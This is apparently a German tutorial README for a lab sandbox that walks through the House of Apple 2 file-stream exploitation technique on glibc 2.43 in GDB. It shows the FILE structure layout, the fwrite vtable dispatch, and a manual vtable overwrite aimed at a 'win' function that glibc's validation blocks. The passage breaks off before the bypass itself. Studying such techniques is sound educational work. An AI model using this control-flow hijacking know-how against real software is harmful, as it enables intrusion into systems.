
Interaktiver GDB-Walkthrough der House-of-Apple-2-FSOP-Technik auf glibc 2.43, mit einer reproduzierbaren Sandbox, die Vtable-Bypass, Stack-Pivoting und ROP abdeckt.
Dieses Repository ist ein in sich geschlossener Spielplatz, inspiriert vom File Struct Exploitation-Modul von pwn.college. Es führt keine neue Variante von House of Apple 2 ein, sondern beantwortet lediglich meine Neugier, wie sich die Technik auf aktuellen glibc-Versionen bewährt und ob sie weiterhin ein gangbarer Exploit-Pfad bleibt. Das Dokument bietet einen interaktiven GDB-Walkthrough, dem Leser zusammen mit der Sandbox folgen können, um ein intuitiveres Verständnis des Primitivs zu entwickeln. Alle Experimente verwenden glibc 2.43, wie es zum Zeitpunkt des Schreibens von Ubuntu 26.04 und Fedora 44 gepackt wird.
File Stream Oriented Programming (FSOP). Hierbei geht es um die Manipulation von glibc-File-Stream-Strukturen, um die Kontrollflusssteuerung zu übernehmen. Eine Möglichkeit besteht darin, den vtable-Dispatch-Mechanismus von _IO_FILE_plus zu korrumpieren. Modernes glibc validiert diese vtable, sodass der offensichtliche Ansatz, sie durch eine beliebige Adresse zu ersetzen, nicht funktioniert.
House of Apple 2, ursprünglich eingeführt von Roderick, umgeht diese Einschränkung, indem es eine gültige _IO_FILE_plus-vtable verwendet, um die Wide-Character-Stream-Maschinerie zu erreichen, wo eine sekundäre vtable direkt ohne Bereichsvalidierung dispatcht wird. Dies liefert ein arbitrary call-Primitiv, das wir zu einem Stack-Pivot und einer ROP-Chain eskalieren können.
Diese Erkundung setzt voraus, dass wir eine FILE-Struktur überschreiben können und dass wir sowohl ein Heap-Leak als auch ein libc-Leak haben. Das Ziel-Binary stellt dies bereits bereit.
Die Sandbox läuft auf Ubuntu 26.04 LTS und bietet uns damit eine moderne Umgebung, um die Technik zu erkunden.
Das Image enthält GDB, pwndbg, pwntools, ropper und tmux. Es enthält außerdem ein Ziel-Binary mit einem interaktiven Menü zum Aufrufen von File-Stream-Operationen wie fopen, fread, fwrite und fclose. Dies gibt uns eine bequeme Möglichkeit, Streams während des Debuggens zu manipulieren und Ideen zu testen.
Sandbox bauen und ausführen mit:``` ./build.sh ./run.sh
## Erkundung
Beginnen wir mit der Untersuchung der Strukturen `_IO_FILE` und `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
In praktischer Hinsicht ist _IO_FILE_plus eine _IO_FILE mit einem vtable-Zeiger. Das sieht sofort interessant aus: Wenn wir diesen Zeiger kontrollieren können, können wir möglicherweise einen indirekten Aufruf umleiten und die Kontrollflussübernahme erlangen.
Um die vtable zu untersuchen, betrachten wir einen von fopen zurückgegebenen FILE-Zeiger.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
Der Zeiger zielt auf die `_IO_file_jumps`-Tabelle.

Dies ist eine Menge von 21 Funktionszeigern. Dateistrom-Operationen werden je nach Ausführungspfad über verschiedene Einträge verteilt.
### Dem `fwrite`-Pfad folgen
Für diese Untersuchung konzentriere ich mich auf den `fwrite`-Pfad. Nachdem ich an jeder Funktion Breakpoints gesetzt und `fwrite` aufgerufen habe, ist der erste Breakpoint, den wir erreichen, `_IO_file_xsputn`.

Der Aufruf erfolgt bei `fwrite+216`. Dies stimmt mit der [glibc-Quelle](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) überein: `_IO_sputn` ist ein Makro, das über die vtable verteilt wird und für diesen Strom zu `_IO_file_xsputn` aufgelöst wird.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Für einen ersten Versuch überschreiben wir den vtable-Zeiger mit desired_func - 0x38 und setzen einen Breakpoint bei fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

Die Ausführung bricht ab, bevor der Breakpoint erreicht wird. Der Fehler deutet darauf hin, dass glibc den vtable-Zeiger validiert, bevor der indirekte Aufruf erfolgt. Untersuchen wir den Backtrace, um zu sehen, wo dies geschieht.
`fwrite` erreicht `_IO_vtable_check`, das den gefälschten vtable-Zeiger zurückweist.

Die Implementierung enthält einen Mechanismus zum Akzeptieren fremder vtables, aber dieser liegt nicht unter unserer Kontrolle. Der relevante Code ist in [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) verfügbar.
### Die vtable-Validierung verstehen